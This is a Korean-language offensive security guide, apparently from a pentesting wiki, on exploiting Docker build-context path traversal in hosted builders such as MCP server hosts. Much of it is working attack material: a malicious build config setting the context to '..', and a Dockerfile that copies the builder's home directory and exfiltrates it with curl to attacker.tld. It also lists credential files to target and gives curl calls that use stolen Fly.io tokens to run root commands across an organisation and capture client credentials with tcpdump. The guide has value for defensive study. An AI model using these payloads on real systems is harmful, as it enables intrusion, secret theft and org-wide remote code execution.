Hosted Builders에서 Docker Build Context 악용 (Path Traversal, Exfil, and Cloud Pivot)

Reading time: 5 minutes

TL;DR

CI/CD 플랫폼이나 hosted builder가 기여자가 Docker build context 경로와 Dockerfile 경로를 지정하도록 허용하면, 컨텍스트를 상위 디렉토리(예: "..")로 설정해 호스트 파일을 빌드 컨텍스트의 일부로 만들 수 있는 경우가 많습니다. 그런 다음 공격자가 제어하는 Dockerfile이 COPY를 사용해 빌더 사용자 홈에서 발견되는 비밀(예: ~/.docker/config.json)을 유출할 수 있습니다. 훔친 registry tokens은 제공자의 control-plane APIs에 대해 동작할 수도 있어 조직 전체의 RCE를 초래할 수 있습니다.

공격 표면

많은 hosted builder/registry 서비스는 사용자 제출 이미지를 빌드할 때 대체로 다음을 수행합니다:

• 다음을 포함하는 repo-level config를 읽음:
  • build context path (Docker daemon으로 전송됨)
  • 해당 context에 상대적인 Dockerfile path
• 지정된 build context 디렉토리와 Dockerfile을 Docker daemon으로 복사
• 이미지를 빌드하고 호스티드 서비스로 실행

플랫폼이 build context를 정규화(canonicalize)하거나 제한하지 않으면, 사용자는 이를 리포지터리 외부 위치로 설정할 수 있으며(path traversal), 그 결과 빌드 사용자에게 읽기 가능한 임의의 호스트 파일이 build context의 일부가 되어 Dockerfile에서 COPY로 접근할 수 있게 됩니다.

일반적으로 관찰되는 실무적 제약:

• Dockerfile은 선택한 context 경로 내에 존재해야 하며 그 경로는 미리 알려져 있어야 합니다.
• 빌드 사용자는 context에 포함된 파일들을 읽을 수 있어야 하며; 특수 디바이스 파일은 복사를 실패하게 만들 수 있습니다.

PoC: Path traversal via Docker build context

상위 디렉토리 context 내에 Dockerfile을 선언한 악의적 서버 설정 예:

runtime: "container"
build:
dockerfile: "test/Dockerfile"   # Must reside inside the final context
dockerBuildPath: ".."           # Path traversal to builder user $HOME
startCommand:
type: "http"
configSchema:
type: "object"
properties:
apiKey:
type: "string"
required: ["apiKey"]
exampleConfig:
apiKey: "sk-example123"

Notes:

• ".."는 종종 builder 사용자의 홈(예: /home/builder)으로 해석되며, 일반적으로 민감한 파일을 포함합니다.
• Dockerfile을 repo의 디렉터리 이름 아래(예: repo "test" → test/Dockerfile)에 두어 확장된 상위 context 내에 남아 있도록 하세요.

PoC: Dockerfile to ingest and exfiltrate the host context

FROM alpine
RUN apk add --no-cache curl
RUN mkdir /data
COPY . /data                      # Copies entire build context (now builder’s $HOME)
RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)

$HOME에서 흔히 획득되는 대상:

• ~/.docker/config.json (registry auths/tokens)
• 기타 cloud/CLI 캐시 및 구성 (예: ~/.fly, ~/.kube, ~/.aws, ~/.config/*)

팁: 리포지토리에 .dockerignore가 있더라도, 취약한 플랫폼 측의 context 선택이 데몬으로 전송되는 항목을 여전히 결정합니다. 플랫폼이 선택한 경로를 데몬으로 복사한 후에 리포의 .dockerignore를 평가한다면 호스트 파일이 여전히 노출될 수 있습니다.

과도한 권한 토큰으로 클라우드 피벗 (example: Fly.io Machines API)

일부 플랫폼은 container registry와 control-plane API 둘 다에 사용할 수 있는 단일 bearer token을 발급합니다. 만약 registry token을 탈취했다면 provider API에 대해 사용해 보세요.

다음은 ~/.docker/config.json에서 탈취한 토큰을 사용해 Fly.io Machines API에 대한 예시 API 호출입니다:

조직 내 앱 열거:

curl -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps?org_slug=smithery"

앱의 어떤 머신에서든 root로 명령을 실행:

curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'

Outcome: 조직 전체에서 token이 충분한 권한을 가진 경우 모든 hosted apps에 대한 org-wide remote code execution.

침해된 호스팅 서비스로부터의 비밀 탈취

exec/RCE로 호스팅된 서버에 접근하면 클라이언트가 제공한 secrets (API keys, tokens)을 수집하거나 prompt-injection attacks를 수행할 수 있다. 예: tcpdump를 설치하고 포트 8080의 HTTP 트래픽을 캡처해 인바운드 credentials를 추출한다.

# Install tcpdump inside the machine
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'

# Capture traffic
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'

캡처된 요청에는 종종 헤더, 본문 또는 쿼리 매개변수에 클라이언트 자격 증명이 포함되어 있습니다.

참고자료

• Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft
• Fly.io Machines API